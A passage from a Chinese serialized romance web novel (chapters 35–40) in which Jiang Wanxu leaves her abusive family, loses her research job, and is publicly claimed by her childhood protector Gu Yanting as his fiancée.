江晚絮依旧是那个,被所有人排挤的“乡下野丫头”。
顾彦廷也依旧是那个,被所有人嘲笑的“落魄太子爷”。
但是,他们都不再是孤身一人了。
顾彦廷会每天早上,在离江家不远的一个巷子口,默默地等着她。
然后,两个人,一前一后地,保持着不远不近的距离,一起去上学。
放学后,他也会远远地跟着她。
确保江芊妤那群人,不敢再找她的麻烦。
他就像一个沉默的骑士,用他自己都未曾察觉的方式,守护着她。
学校里,很快就传出了他们的绯闻。
那些流言蜚语,说得要多难听,有多难听。
“你们看,那个江晚絮,真是不要脸,居然去勾搭顾彦廷!”
“呵,物以类聚,人以群分嘛!一个土包子,一个破落户,绝配!”
江芊妤更是跑到江晚絮的面前,用一种施舍的语气,假惺惺地“劝”她。
“姐姐,我劝你,还是离顾彦廷远一点吧。他现在,可什么都不是了,你跟着他,只会让人看不起的。”
江晚絮从来都没有理会过。
别人的眼光,对她来说早已不重要了。
有那么一个人,愿意在她被全世界抛弃的时候,与她并肩而行。
这就足够了。
第35章 没有如果
那段日子,是江晚絮回到江家以后,过得最平静,也最开心的一段时光。
可惜,好景不长。
顾家的危机,愈演愈烈。
终于,到了连圣樱学院高昂的学费,都快要交不起的地步。
江晚絮是从教导主任办公室门口,无意间听到的。
她看到那个一向骄傲的,连脊梁都不会弯一下的少年,第一次低下了头,用一种近乎恳求的语气,对教导主任说。
“主任,请您,再宽限我几天……”
那天放学后,江晚絮没有回家。
她一个人,坐着公交车去了市中心的银行。
她取出了,一张她珍藏了很久的银行卡。
那里面,是母亲留给她的一笔教育基金。
那是她在这个冰冷的江家,唯一的念想和最后的底气。
她曾经想过,要用这笔钱离开江家,去一个没有人认识她的地方,重新开始。
可是现在,她觉得顾彦廷更需要这笔钱。
她走到柜台前,对着工作人员,声音清晰而坚定地说道。
“你好,取钱。全部。”
她拿着那笔对一个高中生来说,堪称巨款的现金,回到了学校。
她找到了财务处,以“匿名资助”的名义,一次性缴清了顾彦廷高中剩下两年的全部学费和杂费。
做完这一切,她像是了却了一桩天大的心事一样,长长地松了一口气。
生活费她可以自己去打工,去拿奖学金。
可顾彦廷的未来,不能就这么断送在这里。
她以为自己做得天衣无缝。
却没想到,第二天就被顾彦廷堵在了天台上。
少年看着她,眼眶是红的。
“为什么?”
他的声音很沙哑,像是哭过。
江晚絮被他看得有些心虚,下意识地移开了视线。
“什么为什么?”
“别装了。”
顾彦廷上前一步,逼近她。
他从口袋里,掏出了一张缴费单。
“我问你,为什么要这么做?”
江晚絮看着他通红的眼睛,知道自己瞒不住了。
她沉默了很久,才终于抬起头,迎上他的视线。
“因为……”
“因为,顾彦廷,你的未来,不应该,被埋没在这里。”
“你比我,更需要它。”
那一刻,顾彦廷感觉自己的整个世界,都像是变换了颜色。
他看着眼前的女孩,心脏像是要从胸腔里跳出来一样。
他想抱住她,想告诉她,她是他生命里,唯一的光。
可他什么都不能做……现在的他,一无所有。
他给不了她任何承诺,甚至,连保护她都做不到。
他只能,用尽了全身的力气,将她的名字,她的样子,她说的每一句话,都死死地,刻在了自己的骨血里。
江晚絮。
晚絮。
从那天起,顾彦廷像是变了一个人。
他不再沉默,也不再颓废。
他开始拼了命地学习,成绩以一种近乎恐怖的速度,扶摇直上。
他开始学着处理家族里那些,纷繁复杂的事务。
他开始为了那个深陷囹圄的父亲,四处奔走,周旋。
所有人都说,顾家的那个太子爷,回来了。
甚至,比以前更加的可怕。
江晚絮看着他一点一点地,从泥泞里站起来,重新变得光芒万丈。
她由衷地为他感到高兴。
她以为,他们会一直这样下去,直到两年后的一天,顾彦廷毫无预兆地消失了。
他没有来巷子口等她。
学校里,他的座位也空了。
江晚絮疯了一样地找他,问遍了所有的人。
最后,还是江芊妤幸灾乐祸地告诉了她答案。
“姐姐,你还不知道吧?你那个好朋友顾彦廷,他们家破产了,现在已经连夜逃到国外去了!”
江晚絮不信。
她不信,那个会在雨天,默默为她撑伞的少年,会这样不告而别。
直到,她在自己的课桌里,发现了一张被折成了千纸鹤的小小的纸条。
上是顾彦廷的字迹。
龙飞凤舞,苍劲有力。
只有两个字。
——等我。
江晚絮看着那两个字,一个人,在空无一人的教室里,哭了整整一个下午。
她等了。
她等了他,整整八年。
从高中,到大学,再到,她嫁给了叶寒。
她都没有再等到他的任何消息。
她以为,他早就,把她忘了。
她以为,他们这辈子,都不会再有交集了。
却没想到……
“叮咚——”
门铃声,将江晚絮从久远的回忆里,拉了回来。
她猛地回过神,才发现,自己的脸上,不知何时,已经一片冰凉。
她竟然,看他看哭了。
江晚絮有些狼狈的,飞快的,用手背抹掉了脸上的泪痕。
顾彦廷不知道什么时候,已经转过了身。
他正看着她,那双深邃的眼眸,晦暗不明。
“怎么了?”
他的声音,依旧听不出什么情绪。
“没什么。”
江晚絮低下头,避开他的视线,声音有些发闷。
“只是想起了一些,不好的事。”
顾彦廷看着她泛红的眼角,和那故作坚强的模样,放在身侧的手不自觉地攥紧了。
他知道,她想起了什么。
如果,当年他没有走……
如果,他能早一点回来……
她是不是就不用受那么多的苦?
是不是,就不会被叶寒那个混蛋,伤得体无完肤?
悔恨,从顾彦廷的心底,疯狂地涌起。
他用了极大的自制力,才将那股几乎要将他吞噬的情绪,给死死地压了下去。
“林舟送餐来了。”
他转过身,走过去打开了门,语气恢复了往日的平静。
“你先吃东西。吃完了,我送你回去。”
江晚絮看着他,心里五味杂陈。
她点了点头,哑着嗓子,轻轻地“嗯”了一声。
顾彦廷。
你回来,到底是为了什么?
你提出的合作,又到底藏着怎样的目的?
江晚絮的心里,充满了无数的疑问。
而另一边。
走出房间的顾彦廷,站在走廊尽头的落地窗前,极力克制着自己酸涩的情绪。
晚絮,这一次,我再也不会丢下你了。
所有伤害过你的人。
江家,叶寒……
我会让他们,一个一个的,付出比死还要惨痛的代价……
第36章 听话
林舟送来的,是一盅煨得软软糯糯的小米南瓜粥,配着几碟精致清淡的酱菜。
江晚絮拿起勺子,舀了一勺粥,轻轻吹了吹,送入口中。
一股暖意瞬间从胃里升腾而起,驱散了连日来的些许寒意。
江晚絮的眼眶,没来由地一热。
有多久没有人这样,在她饥肠辘辘的时候,为她准备一碗热粥了?
在江家,她永远都是最后一个上桌,吃残羹冷饭的哪一个。
嫁给叶寒后,她倒是经常下厨,变着花样地给他熬粥。
可他,却很少回家吃。
江晚絮慢慢地将一碗粥喝得干干净净。
连带着那几碟小菜,也吃得一点儿不剩。
胃里暖了,身上似乎也有了力气。
她放下碗,抬头看向顾彦廷。
“顾先生,今天的事,谢谢你。”
她的声音依旧沙哑,却比之前多了几分真诚。
顾彦廷没有回头。
“合作而已。”
他的声音听不出什么情绪。
江晚絮深吸了一口气,鼓起勇气开口。
“那……合作的第一部,顾先生可以帮我一个忙吗?”
顾彦廷这才缓缓转过身,深邃的目光落在她身上。
“说。”
“送我回一趟江家。”
顾彦廷的眉梢轻挑。
“回江家。”
“嗯。”江晚絮点了点头,“有些东西,我必须拿回来。”
比如,她的户口本。
比如,她在这个世界上,和那个所谓的“家”,最后一点法律上的关联。
从前,她总念着那点血缘亲情,奢望着他们能回头看自己一眼。
可这次,被他们亲手推入深渊,让她彻底死了心。
顾彦廷深深地看了她一眼,像是要看穿她的内心。
半晌后,他薄唇轻启。
“可以,林舟会送你。”
他顿了顿,又补充道,“孙律师的电话号码,你存好。有任何事,随时打给我。京市最顶尖的律师团队,随时待命。”
江晚絮看着他,嘴唇动了动,想说些什么,最终却只是化作一句。
“……好。谢谢。”
一小时后,天亮了。
一辆黑色的宾利,在江家别墅门口缓缓停下。
江晚絮推开车门走了下去,按响了门铃。
很快,门内传来柳芸尖利的声音。
“谁啊?大清早的!张妈,去看看。”
门开了。
张妈看到她愣了一下。
“张妈,谁来了?”
柳芸穿着一件真丝睡衣走了过来。
看到门口站着的江晚絮,先是一愣,随即脸上露出了鄙夷又幸灾乐祸的笑。
“哟,我当时谁呢。这不是我们江家那个不知廉耻跟野男人跑了的大小姐吗?”
“怎么?被人家玩腻了,知道滚回来了?”
江晚絮面无表情得看了她一眼,然后越过她,朝里走去。
柳芸被她这无视得态度气得够呛,在后面跳脚大骂。
“江晚絮!你这个小贱人!你什么态度?”
客厅里,江父和江家三兄弟,还有江芊妤,都在。
看样子,像是一家人,正在其乐融融地吃早餐。
她的“失踪”,对他们而言,似乎没有造成任何影响。
听到柳芸的大嗓门,所有人的目光,就齐刷刷地落在了她的身上。
惊讶,鄙夷,不屑……
江芊妤最先反应过来。
她放下手里的牛奶,站起身一脸惊喜又担忧地迎了上来。
“姐姐!你终于回来了!你去哪里了?我们都担心死了!”
她说着,就要去拉江晚絮的手。
江晚絮冷漠地侧身,避开了她的碰触。
江芊妤的手,尴尬地僵在了半空。
她地眼圈瞬间就红了,委屈地看着江晚絮。
“姐姐……你还在生我们的气吗?”
江明宇“啪”地一声,将筷子重重地地拍在桌上,人也站了起来,指着江晚絮的鼻子就骂。
“江晚絮!你还有脸回来?!”
“你知不知道,因为你,李家毁约了!我们江家的脸,都被你给丢尽了!”
江父也是一脸的铁青,看着她沉声呵斥。
“跪下!”
江晚絮站得笔直,连眼皮都未曾抬一下。
她只是淡淡地扫视了一圈客厅。
然后她缓缓开口。
“我今天回来,不是来听你们废话的。”
“我要迁户口。”
所有人都愣了一下。
迁……迁户口?
她这是什么意思?
柳芸最先反应过来,再次发出一声刺耳的尖叫。
“你说什么?!你这个白眼狼!我们江家养你这么大,你现在翅膀硬了,就像跟我们断绝关系?!”
“我告诉你,门儿都没有!”
江明宇也回过神来,指着她就是一顿骂。
“江晚絮,你疯了吧?你像脱离江家?你以为你是谁?离了江家,你算什么东西?!”
江父死死地盯着江晚絮。
“我江枫,没有你这种不知感恩的女儿!”
“你像断绝关系?好啊,那你先把这条命还给我!”
他这话,说得毫不留情。
因为江晚絮的母亲,就是在生她的时候难产去世的。
这件事,一直是江父心里的一根刺。
他将自己婚内出轨柳芸的错,归结成了对了前妻何佳颖的恨。
而这份怨恨,也因为何佳颖的死,全都转移到了江晚絮的身上。
是的,何佳颖死后,江枫对何佳颖,反倒生出了几分莫名的真情实感来。
只可惜,太迟了。
他觉得,如果不是为了生下这个“扫把星”,他的妻子何佳颖,根本就不会死。
所以,江父对江晚絮的态度一直都很冷漠。
现在,这个“扫把星”,不想着怎么弥补他这个父亲,反倒想脱离江家,这让他如何能忍?
江晚絮的心,被他这几句话,刺得狠狠一痛。
看吧。
这就是她的亲生父亲。
在她失踪两天,险些被人欺辱后回来,他不但没有一句关心,开口就要她把命还给他。
真是可笑。
她扯了扯嘴角,露出一抹讥讽的笑。
“想要我的命?可以啊。但我怕你要不起。”
“你!”
江父气得浑身发抖,指着她的手都在哆嗦。
一直沉默的江明泽,此刻终于开了口。
“晚絮,别闹了。”
“我知道前几天的事情,是我们做得不对,让你受委屈了。”
“但我们也是为了你好。芊妤从小身体就弱,性子又单纯,只能靠家里护着。”
“你不一样,你有能力,有才华,不需要江家帮衬。”
“一家人哪有隔夜仇呢?你跟爸道个歉,这件事就这么过去了。听话。”
第37章 养不熟的白眼狼
江芊妤柔弱,所以他们就可以心安理得牺牲她。
她优秀,所以她活该被牺牲。
自己辛辛苦苦做的研究要拱手送给江芊妤,现在还要为了江家,把她送给一个老男人。
江晚絮简直要被这套强盗逻辑给气笑了。
“大哥说得对。”
江明哲也连忙站出来打圆场,他是江家几个兄弟里,唯一一个对江晚絮还算有点良心的。
“晚絮,你也别说气话了。爸妈和二哥也是一时糊涂,他们心里还是有你的。”
“你先坐下,我们一家人好好说说话,把话说开就好了。”
江芊妤也立刻配合他,挤出了几滴眼泪,抽抽噎噎地开口。
“是啊,姐姐……都是我的错,是我不好……你要怪,就怪我吧。不要再生爸爸和哥哥的气了,好不好?”
她这副楚楚可怜的模样,立刻就激起了江明宇的保护欲。
他一把将江芊妤护在身后,怒视着江晚絮。
“江晚絮!你少在这里阴阳怪气的!芊妤哪里对不起你了?!”
“我告诉你,要不是芊妤,我这条腿早就废了!”
他指着自己的右腿,眼神里满是憎恶。
“当年我出车祸,医生都说没救了,是芊妤!她跑了好几个城市,求爷爷告奶奶,才给我找来了救命的药!”
“而你呢?!”
“你这个亲妹妹,除了在病房门口看了我一眼,你还做过什么?!”
江晚絮看着他那张因为愤怒而扭曲的脸,只觉得一阵反胃。
是啊。
她没做什么。
她只不过是,为了他那条几乎废掉的腿,把自己关在实验室里三天三夜,翻遍了所有医学典籍,做了上百次实验,才终于从一种罕见的植物里,提取出了能够修复他受损神经的成分。
她只不过是,将研究成果匿名交给了主治医生,救回了他那条腿而已。
而江芊妤呢?
她不过是装模作样跑了几个城市,回来后直接告诉主治医生,那个修复神经的药,是她找来的。
然后,她就成了救了哥哥的大功臣。
这些事,江晚絮从来没有解释过。
因为她觉得没必要。
一家人,谁付出多一点,少一点,又有什么关系呢?
现在想来,她真是天真的可笑。
她的付出,在他们眼里,一文不值。
而江芊妤的谎言,却被他们视若珍宝。
江晚絮懒得再跟他们废话。
“户口本,在哪儿?”
江家人看她油盐不进,也终于彻底没了耐心。
他们觉得,已经给了江晚絮足够的台阶。
是她自己不知好歹。
江枫冷哼一声,“你死了这条心吧!只要我还活着一天,你江晚絮,就永远都是我江家的人!”
柳芸也叉着腰,一脸得意。
“就是!想迁户口?下辈子吧!我倒要看看,没有户口本,你怎么脱离这个家!”
江晚絮听到他们这近乎无赖的话,脸上不见丝毫的慌乱。
甚至还轻轻笑了一下。
她当着所有人的面,拿出手机拨通了一个电话。
“孙律师吗?”
“是我,江晚絮。”
“对,我在江家,他们不肯给我户口本。”
“好的,麻烦你了。”
挂断电话后,她好整以暇地看着脸色各异的江家人。
“我已经委托律师报警了。律师说了,户口本属于个人合法证件,任何人不得无故扣押。否则,就按侵占罪论处。”
“另外,”她顿了顿,目光缓缓扫过江明泽和江明宇的脸,“我也委托了律师,准备起诉几位……非法拘禁和故意伤害。”
“对了,还有下毒。”
她的目光,最终落在了脸色煞白的江芊妤身上。
“我想,这些罪名加起来,应该够你们,在里面待上几年了吧?”
她……她怎么敢?!
她竟然要把自己的亲人,全都送进监狱?!
“你……你这个疯子!”柳芸指着她,气得话都说不利索了。
江明泽的脸色,也第一次变得难看起来。
他最在意的就是名声。
如果这些事传出去,他这个前途无量的青年研究员,就全完了!
“江晚絮!我警告你不要乱来!我们是你的家人!”
“家人?”江晚絮像是听到了什么天大的笑话一样,笑出了声。
“你们把我关起来,逼我嫁给一个老男人的时候,想过我们是家人吗?”
“你们把我推下楼梯,抽我的血去救江芊妤的时候,想过我们是家人吗?”
“江芊妤,你在我的果汁里下毒,想让我被李鸿昌玷污的时候,你想过,我们是姐妹吗?!”
她一声声的质问,让江家人哑口无言。
江芊妤更是吓得浑身发抖,拼命地摇头。
“不……不是的……姐姐,我没有……你胡说!”
“我有没有胡说,酒店的监控,总统套房里的摄像头,会告诉我们答案。”
江晚絮冷冷地看着她。
“哦,对了,还有你们商量着,要把我卖个好价钱的录音,我也会一并交给警方。”
“我想,警察同志,一定会给我一个公道的。”
这一下,江家所有人的脸,都彻底白了。
录音?
她什么时候录的音?!
他们看着江晚絮那张平静到冷酷的脸,第一次从心底里,升起了一股寒意。
他们这才发现,这个他们一直以为,可以随意拿捏的“软柿子”,不知何时,已经长出了一身尖刺。
江枫死死地捏着拳头。
他知道,江晚絮说得出来,就一定做得出来。
僵持之际,别墅的门铃,再次响了起来。
这次,还伴随着警车由远及近的鸣笛声。
江家人的脸色,更难看了。
江枫咬了咬牙,从牙缝里挤出几个字。
“去!把户口本拿给她!”
柳芸一脸的不甘心。
“老江……”
“拿给她!!”江父冲着她,怒吼了一声。
柳芸被吓得一哆嗦,不敢再多说,只能心不甘情不愿地,上楼去取户口本。
很快,她就拿着户口本走了下来。
她走到江晚絮面前,几乎是用尽了全身的力气,才忍住了,没有将户口本直接甩在她的脸上。
“给你!你这个养不熟的白眼狼!拿着它,赶紧滚!”
“从今以后,你就算死在外面,也别想再回我们江家的大门!”
江晚絮伸手接过户口本。
她打开,翻到了属于自己的那一页。
再见了。
过去的江晚絮。
她合上户口本,看都没再看那群气急败坏的“家人”一眼,转身,头也不回地走出了江家。
第38章 被瑞澜辞退
当江晚絮的身影,消失在门外的那一刻。
客厅里,传来了柳芸气急败坏的摔东西的声音。
“反了天了!真是反了天了!这个小贱人!”
江明宇也是一脚踹翻了旁边的椅子,满脸的暴戾。
“爸!就这么让她走了?!”
江父阴沉着脸,一言不发。
江芊妤的眼里,闪过一丝怨毒和惊慌。
她知道,江晚絮这次,是真的,不会再回来了。
她绝对不能让江晚絮就这么翻身!
她悄悄地退到一旁,拿出手机,快速地拨通了一个烂熟于心的号码。
电话很快就接通了。
那头,传来一道低沉而冰冷的男声。
“喂。”
江芊妤的眼泪,瞬间就掉了下来,声音里充满了委屈和哽咽。
“阿寒……”
电话那头的人,正是叶寒。
叶寒听到她的哭声,语气立刻柔和了几分。
“芊妤?怎么了?谁欺负你了?”
“没……没有……”江芊妤抽噎着,断断续续地说道。
“是姐姐……姐姐她回来了……”
叶寒的眉头,不悦地皱了起来。
“江晚絮?她又去闹什么了?”
在他的印象里,江晚絮就是一个,为了博取他的关注,无所不用其极的疯女人。
“姐姐她……她好像误会了什么,非要……非要跟家里断绝关系……”
江芊妤的声音,听起来又无辜,又自责。
“都怪我……我没有劝住她……现在爸爸和哥哥们,都在怪我……”
“阿寒,我该怎么办啊?姐姐她一定是故意离家出走,想让大家担心的……她以前,也总是这样,不是吗?”
她轻飘飘的几句话,不仅将自己的责任,推得一干二净。
还成功地勾起了叶寒对江晚絮所有的厌恶和不耐烦。
果然,电话那头的叶寒冷笑了一声。
“又是这种上不了台面的把戏。你别管她。她自己闹够了,自然就会回去了。”
他的语气里,充满了对江晚絮的鄙夷和不屑。
然后,他又放柔了声音安抚江芊妤。
“别哭了。这件事,跟你没关系。是她自己不知好歹。”
“江家人要是敢为难你,你告诉我。我来处理。”
“嗯……”江芊妤乖巧地应了一声,挂断了电话。
江晚絮,你以为你攀上了顾彦廷,就能高枕无忧了吗?
我告诉你,只要有叶寒在,我就会让你,永无翻身之日!
而另一边。
江晚絮坐回车里,将户口本递给了早已等候在民政局附近的梁律师。
不到十分钟,所有手续全部办妥。
她拿到了一个崭新的,独立的户口本。
上面,户主那一栏清清楚楚地写着——
江晚絮。
从这一刻起,她只是她自己。
她靠在车窗上,看着窗外飞速倒退的街景,眼角缓缓滑下了一滴泪。
她正出神,手机突然震动了一下。
是一个陌生号码发来的短信。
江晚絮点开。
【我是叶寒。立刻向芊妤道歉。别再耍那些令人恶心的把戏。】
理所当然的语气。
若是从前,看到这样的短信,江晚絮一定会心如刀割。
可现在,她的心里却掀不起一丝波澜。
甚至,还有点想笑。
她看着那条短信,纤长的手指,在屏幕上缓缓地敲下了一行字。
【叶总,请自重。】
想了想,她又在后面加了四个字。
【我们,不熟。】
发送。
然后,拉黑,删除,一气呵成。
车窗外,京市的繁华光景飞速倒退。
江晚絮捏着那本崭新的户口本,指尖微微泛白。
从此,山高水长,她只是她自己。
可这条路,该怎么走?
她刚下定决心,现实的耳光就接踵而至。
第二天,江晚絮像往常一样来到瑞澜研究室,准备交接工作。
迎接她的,却不是同事们关切的问候,而是一张张冰冷而疏离的脸。
她曾经最敬重的导师,瑞澜研究院的负责人林博士,将她叫到了办公室。
“晚絮啊,你最近……是不是在外面惹了什么事?”
江晚絮的心,咯噔一下。
“老师,您这是什么意思?”
林博士叹了口气,将一份文件推到了她面前。
“你自己看吧。”
那是几份项目合作终止的通知函。
合作方无一例外,都是和叶氏集团或是江家沾亲带故的企业。
“叶家和江家同时给研究院施压,要求我们将你辞退。”
林博士的声音里带着一丝疲倦。
“晚絮,你是我最得意的学生,你的才华,我比谁都清楚。但瑞澜……瑞澜也只是个搞学术的地方,经不起这些豪门巨鳄的折腾啊。”
江晚絮早就料到了叶寒和江家不会善罢甘休。
但她没想到,他们会卑劣到用这种方式,来断她的生路。
她抬头看向自己的恩师,眼里还带着一丝希冀。
“老师,您知道的,那些研究成果对我有多重要。我……”
“我知道。”林博士打断了她的话,眼神躲闪了一下。
“所以,我才更要劝你。”
“你还年轻,没必要跟他们硬碰硬。”
“低个头,服个软,去跟叶总……和家里人道个歉。事情不就过去了吗?”
“你放心,只要你处理好家事,瑞澜的大门,始终为你敞开。”
江晚絮怔怔地看着他。
道歉?
让她去跟那些恨不得将她挫骨扬灰的人道歉?
就因为她有能力,所以她就活该被牺牲,去低头?
她忽然觉得,眼前的恩施,面目变得无比陌生。
“老师。”江晚絮缓缓站起身,声音平静,“您的意思我明白了。”
“这是我的辞职报告。”
她从随身的包里,拿出一份早就准备好的文件,放在了林博士的桌上。
这份辞职报告,是她在入职那天就打印好的。
她不想再将自己放在一个被动的位置。
她以为起码要过个一年半载,这份文件才会用得上。
却没想到这么快……
是她太天真了。
林博士愣住了,显然没想到她会如此刚烈。
“晚絮,你不要冲动!离开瑞澜,京市还有哪个研究院敢要你?”
“这是你想看到的,不是吗?”江晚絮扯了扯嘴角,露出一个讥讽的笑,“用我一个人的未来,去换整个研究院的安宁。这笔买卖,很划算。”
说完,她不再去看林博士,转身走出了办公室。
离开瑞澜的那一刻,天空下起了淅淅沥沥的小雨。
第39章 你还要不要脸?
江晚絮没有打伞,任由冰冷的雨水打在脸上。
她以为自己已经足够坚强。
可当她被最敬爱的老师,打着“为她好”的旗号,亲手将她推开的时候。
那种窒息感,还是让她几乎喘不过气来。
她漫无目的地走在街上,直到浑身湿透,才想起给那个唯一的朋友,苏洛敏打电话。
很快,苏洛敏就骑着电瓶车把江晚絮带回了公寓。
“我靠!这般混蛋!简直欺人太甚!”
苏洛敏一边用毛巾给她擦着头发,一边气得破口大骂。
“叶寒那个渣男!江家那群白眼狼!还有那个姓林的死老头!简直没一个好东西!”
江晚絮裹着毯子缩在沙发上,情绪低落地没有说话。
苏洛敏看着她这副样子,心疼得不行。
她拿起手机,噼里啪啦地就给顾彦廷发了条消息。
【顾彦廷!你不是说会保护晚絮吗?!现在她工作都丢了!你人呢?!】
消息发出去,石沉大海。
苏洛敏气得想摔手机。
“男人果然没一个靠得住!”
江晚絮歪头问他,“你说谁?”
苏洛敏翻了个白眼。
“还能是谁?顾家大少呗。”
江晚絮扯了扯嘴角,“不关他的事。”
她和顾彦廷,只是合作关系。
而且他已经帮了自己很多了,她不能奢求更多。
苏洛敏叹了口气,继续给她擦头发。
刚拿起吹风机,门铃却突然响了。
她疑惑地走过去开门。
门外,站着一个身形颀长,气场强大的男人。
顾彦廷穿着一身剪裁得体的黑色西装,雨水打湿了他的发梢,平添了几分凌厉。
苏洛敏愣住了。
“顾……顾先生?”
顾彦廷的目光越过她,径直落在了客厅沙发上,那个缩成一团的小小身影上。
他的眉头,几不可查地皱了一下。
“江晚絮。”
他开口,声音低沉而磁性。
“现在,履行你的约定。我的未婚妻,该出场了。”
江晚絮缓缓抬起头,一脸的茫然。
一小时后。
京市最顶级的私人造型会所。
江晚絮像个木偶一样,任由一群人围着她摆弄。
当她换上一袭星空蓝的露肩晚礼服,从试衣间走出来时。
在场所有人都倒吸了一口凉气。
镜子里的女人,肌肤胜雪,一头海藻般的长卷发,随意地披在肩上。
那张素日里不施粉黛的脸,略施薄妆后,更是美得惊心动魄。
平日里,她总是穿着最简单的白大褂和牛仔裤,将所有的光芒都掩藏了起来。
此刻,她就像一颗被拂去尘埃的钻石,绽放出了最耀眼的光芒。
就连江晚絮自己,都有些看呆了。
顾彦廷靠在沙发上,交叠着双腿,手里端着一杯红酒。
他看着镜子里的她,深邃的眼眸里,闪过一丝不易察觉的惊艳。
“还不错。”
他放下酒杯,站起身走到她面前。
“我的未婚妻,自然要配得上我。”
他语气里的那股子理所当然,让江晚絮有些不自在地别开了眼。
“只是一个酒会而已,有必要这么……隆重吗?”
“有必要。”
顾彦廷替她将一缕碎发别到耳后,指尖不经意地擦过她的耳垂。
“今晚,我要让整个京市的人都知道,你江晚絮,是我顾彦廷护着的人。”
他的声音很轻,却带着一股不容置喙的力量。
江晚絮的心,没来由地漏跳了一拍。
酒会在京市最顶级的七星级酒店举行。
能来这里的,非富即贵。
江晚絮挽着顾彦廷的手臂,走进宴会厅的那一刻,几乎所有的目光,都聚焦在了他们身上。
惊艳,好奇,探究……
顾彦廷却像是没看到一般,神色自若地带着她,走到一个相对安静的角落。
他给她拿了一杯果汁。
“不用紧张,跟在我身边就好。”
他低声安抚道。
“你不需要跟任何人社交,今天来,主要是让你放松一下。”
江晚絮点了点头。
说实话,她很不喜欢这种场合。
但顾彦廷的体贴,让她紧绷的神经,放松了不少。
顾彦廷很快就遇到了几个熟人,被拉到一旁说话。
江晚絮一个人站在角落里,默默地喝着果汁。
“姐姐?”
一道又惊又喜的声音,从不远处传来。
江晚絮回头,就看到江芊妤穿着一身粉色的公主裙,正一脸惊喜地看着她。
而在江芊妤身边,还站着江明哲。
江晚絮的眼神,瞬间冷了下来。
还真是……阴魂不散。
江芊妤提着裙摆,快步走了过来,脸上挂着天真无邪的笑。
“姐姐!真的是你!我还以为我眼花了呢!”
“你怎么会在这里?是……是跟朋友一起来的吗?”
她故作好奇地四下张望着。
江晚絮懒得理她。
江芊妤见她不说话,眼珠子一转,像是突然想到了什么,捂着嘴惊呼了一声。
“啊!阿寒也来了!”
她说着,就朝着不远处,正和几个商业伙伴谈笑风生的叶寒,用力地挥了挥手。
“阿寒!这边!”
叶寒闻声望了过来。
当他看到江芊絮身边的江晚絮时,眉头立刻就皱了起来。
他走了过来,看都没看江晚絮一眼,只是略带责备地对江芊妤说。
“不是让你好好待着吗?怎么又乱跑?”
“人家看到姐姐太开心了嘛。”江芊妤抱着他的手臂,撒娇道。
然后,她像是才发现江晚絮的穿着打扮似的,夸张地上下打量了她一番。
“哇,姐姐,你今天好漂亮啊!这件礼服,一定很贵吧?”
她意有所指地开口,声音不大不小,却足以让周围的人都听得清清楚楚。
“姐姐刚被瑞澜辞退,哪里来的钱买这么贵的礼服呀?”
“该不会是……为了参加这种酒会,认识什么有钱人,所以才特意租的吧?”
她这番话,说得十分恶毒。
瞬间,周围就响起了一片窃窃私语。
看向江晚絮的目光,也带上了几分鄙夷和不屑。
叶寒的脸色,也变得更加难看。
在他看来,江晚絮就是这种,为了往上爬不择手段的女人。
他冷冷地看着江晚絮,语气里充满了厌恶。
“江晚絮,你还要不要脸?这种地方,也是你能来的?”
第40章 你这个不知检点的女人!
江晚絮握着果汁杯的手,微微收紧。
她正要开口。
一道比叶寒更加冰冷,更加充满压迫感的声音,从她身后响了起来。
“我的未婚妻,为什么不能来?”
顾彦廷不知何时,已经走了回来。
他长臂一伸,自然而然地将江晚絮揽入怀中,姿态亲密而强势。
然后他将目光,落在叶寒和江芊妤的脸上。
整个宴会厅,瞬间鸦雀无声。
所有人都被这突如其来的一幕,给震惊得说不出话来。
未……未婚妻?!
这位神龙见首不见尾的顾家太子爷,难得来一次酒会,居然是带着未婚妻的?!
江芊妤脸上的笑容,彻底僵住了。
她……她没听错吧?!
江晚絮这个贱人,怎么会是顾彦廷的未婚妻?!
叶寒的瞳孔,也是狠狠一缩。
他死死地盯着顾彦廷揽在江晚絮腰间的手,眼底闪过一丝不敢置信。
站在一旁的江明哲,更是如遭雷击。
顾彦廷这样的人,心思深沉,手段狠辣。
他怎么可能会真的喜欢江晚絮?
他一定是想利用她!
江明哲越想越觉得是这样。
他上前一步,皱着眉,用一种说教的口吻对江晚絮说。
“晚絮,别胡闹了!跟我们回家!”
“你知不知道你身边站着的是什么人?不要被人骗了!”
江晚絮觉得好笑。
回家?
她现在,还有家吗?
她冷冷地看了江明哲一眼。
“我的事,不劳三哥费心。”
说完,她连一个多余的眼神,都懒得再给他们。
江明哲被她这冷漠的态度,刺得心口一痛。
顾彦廷却连看都没看他们一眼。
他只是低头,温柔地看着怀里的江晚絮。
“累了吗?我带你去透透气。”
“好。”江晚絮点了点头。
顾彦廷旁若无人地带着她,转身离去。
留下一整个宴会厅的震惊,和江芊妤、叶寒那难看到了极点的脸色。
顾彦廷没有带江晚絮回公寓。
而是直接将车,开到了私人机场。
一架湾流G650,早已在停机坪上等候。
“我们……要去哪儿?”江晚絮有些愕然。
“度假。”
顾彦廷言简意赅。
“你现在需要散散心。”
江晚絮的脑回路有些短路。
酒会和度假,可以这样衔接的吗?
不等她回神,顾彦廷拉着她,登上了飞机。
两个小时后,飞机降落在了一座风景旖旎的私人海岛上。
海风微醺,椰林树影。
江晚絮积压在心口的郁气,仿佛在这一刻,被吹散了不少。
接下来的几天,顾彦廷真的就只是带着她,游玩散心。
他们一起出海钓鱼,在沙滩上烧烤,晚上就躺在沙滩上看星星。
他没有再提任何关于合作,关于复仇的事情。
他就像一个最体贴的伴侣,陪着她,安抚着她。
江晚絮那颗早已冰封的心,似乎也在这温柔的攻势下,渐渐有了一丝融化的迹象。
这天晚上,两人并肩躺在沙滩上。
顾彦廷突然开口。
“江晚絮。”
“嗯?”
“领证吧。”
他的语气很平静,像是在说一件,今天天气不错这样的小事。
江晚絮却一下子坐了起来。
她看着他,眼底满是错愕。
“成为顾太太,再也没人敢动你分毫。”
顾彦廷也坐起身,深邃的目光,在月光下,显得格外认真。
“我会给你一场,最盛大的婚礼。给你,我能给的一切。”
江晚絮的心,狂跳不止。
她承认,她心动了。
可……
“顾彦廷,我们……”
“我知道。”他像是看穿了她的顾虑,打断了她的话。
“我知道你还没准备好。我知道你害怕。”
“没关系,我等你。”
他看着她的眼睛,一字一句地说道。
“你想等多久,就等多久。一年,两年,十年……我顾彦廷,都等得起。”
江晚絮的眼眶,一下子就红了。
她低下头,声音有些哽咽。
“……给我一点时间。”
“好。”
顾彦廷抬手,轻轻地揉了揉她的头发。
月光下,两人的身影,被拉得很长很长。
不远处的椰林里,一道相机的闪光灯,悄无声息地亮了一下。
第二天。
一张照片,引爆了整个网络。
